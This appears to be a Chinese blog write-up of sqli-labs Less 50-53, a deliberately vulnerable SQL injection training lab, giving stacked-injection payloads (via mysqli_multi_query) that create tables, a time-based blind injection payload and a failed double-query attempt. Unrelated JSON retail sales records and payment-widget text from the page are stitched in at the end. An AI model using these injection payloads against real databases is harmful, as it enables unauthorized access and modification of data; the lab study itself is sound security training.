Less 50-53

1. 题目分析

Less50-53这四关是第三部分的最后一个考察点。考察的主要知识为堆叠注入。这四关十分的相近(对于堆叠注入而言,仅仅是是否需要引号的问题),因此,放在一起讨论。

通过?sort=1' --+以及?sort=1 and sleep(0.5) --+可以判断出来,本关用报错信息的输出,以及sort为数值类型。

因此,应该可以使用双注入、时间注入;根据题目的要求,还可以使用堆叠注入。

2. 注入过程

2.1 堆叠注入

我们要注意,这里源码使用的查询SQL函数是mysqli_multi_query
mysqli_multi_query : 可以执行多个SQL语句。
mysqli_query() : 之能执行一个SQL语句。

因此,可能会存在堆叠注入的漏洞。

给出一条payload

?sort=1; create table test99 like users --+

在这里插入图片描述


2.2 时间注入

?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(0.5),1) --+

通过上述语句,可得出可以进行时间注入。


2.3 双注入

经过测试双注入没有按照预期的给出结果:

?sort=1 and (select count(*) from information_schema.tables group by(concat(0x7e, (select database()), floor(rand(0)*2)))) --+

在这里插入图片描述
因此,双注入可能不行。

Less 51-53

51-53基本一样,在这里总结一下:

Less51: sort为单引号包裹。
payload

?sort=1%27; create table test99 like users --+

Less52: sort为数值型,但是屏蔽掉了报错信息
payload

?sort=1; create table test00 like users --+

Less53: sort为单引号包裹,但是屏蔽掉了报错信息。
payload

?sort=1%27; create table test00 like users --+
[[7080393202758320385,"RB01Ps012306300001","C","2023-06-30T11:54:46","730940","2023-06-30T11:54:46","2023-06-30T11:54:46","",738414,715950,"2023-06-30T00:00:00",268.0000000000,268.0000000000,737827,"EQLZ 1100","23FQ11084410",0,10101,10101,0,1.0000000000,1.0000000000,268.0000000000,268.0000000000,100.0000000000,0.0,"0"],[7080393733975310593,"RB01Ps012306300002","C","2023-06-30T11:56:53","730940","2023-06-30T11:56:53","2023-06-30T11:56:53","",738414,715950,"2023-06-30T00:00:00",-268.0000000000,-268.0000000000,737827,"EQLZ 1100","23FQ11084410",0,10101,10101,0,-1.0000000000,-1.0000000000,-268.0000000000,-268.0000000000,100.0000000000,0.0,"0"],[7080751531783356673,"RB01Ps012307010001","C","2023-07-01T11:38:39","730940","2023-07-01T11:38:39","2023-07-01T11:38:39","",738414,715950,"2023-07-01T00:00:00",388.0000000000,288.0000000000,735857,"EQUALIZER 官方 FAULT LESS低帮\"无鞋带\" \"一脚蹬\"反硫化错版鞋 原创帆布鞋板鞋男女运动艹 无中生有","22FSFSL00405",0,10101,10101,0,1.0000000000,1.0000000000,388.0000000000,288.0000000000,74.2268040000,0.0,"0"],[7080756229642912001,"RB01Ps012307010002","C","2023-07-01T11:57:19","730940","2023-07-01T11:57:19","2023-07-01T11:57:19","",738414,715950,"2023-07-01T00:00:00",328.0000000000,328.0000000000,737124,"EQLZ 梭织长裤","23ASLPNW401BL00",0,10101,10101,0,1.0000000000,1.0000000000,328.0000000000,328.0000000000,100.0000000000,0.0,"0"],[7080771963471266049,"RB01Ps012307010003","C","2023-07-01T12:59:50","730940","2023-07-01T12:59:50","2023-07-01T12:59:50","",738414,715950,"2023-07-01T00:00:00",604.0000000000,604.0000000000,737044,"EQLZ 针织复古窄肩背心","23ASJS0KK04OXS0",0,10101,10101,0,1.0000000000,1.0000000000,168.0000000000,168.0000000000,100.0000000000,0.0,"0"],[7080771963471266049,"RB01Ps012307010003","C","2023-07-01T12:59:50","730940","2023-07-01T12:59:50","2023-07-01T12:59:50","",738414,715950,"2023-07-01T00:00:00",604.0000000000,604.0000000000,737041,"EQLZ 针织复古窄肩背心","23ASJS0KK04OM00",0,10101,10101,0,1.0000000000,1.0000000000,168.0000000000,168.0000000000,100.0000000000,0.0,"0"],[7080771963471266049,"RB01Ps012307010003","C","2023-07-01T12:59:50","730940","2023-07-01T12:59:50","2023-07-01T12:59:50","",738414,715950,"2023-07-01T00:00:00",604.0000000000,604.0000000000,737753,"EQLZ 1100","23FQ11010420",0,10101,10101,0,1.0000000000,1.0000000000,268.0000000000,268.0000000000,100.0000000000,0.0,"0"]]通过gson().fromjson转换成对象
最新发布
07-14
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值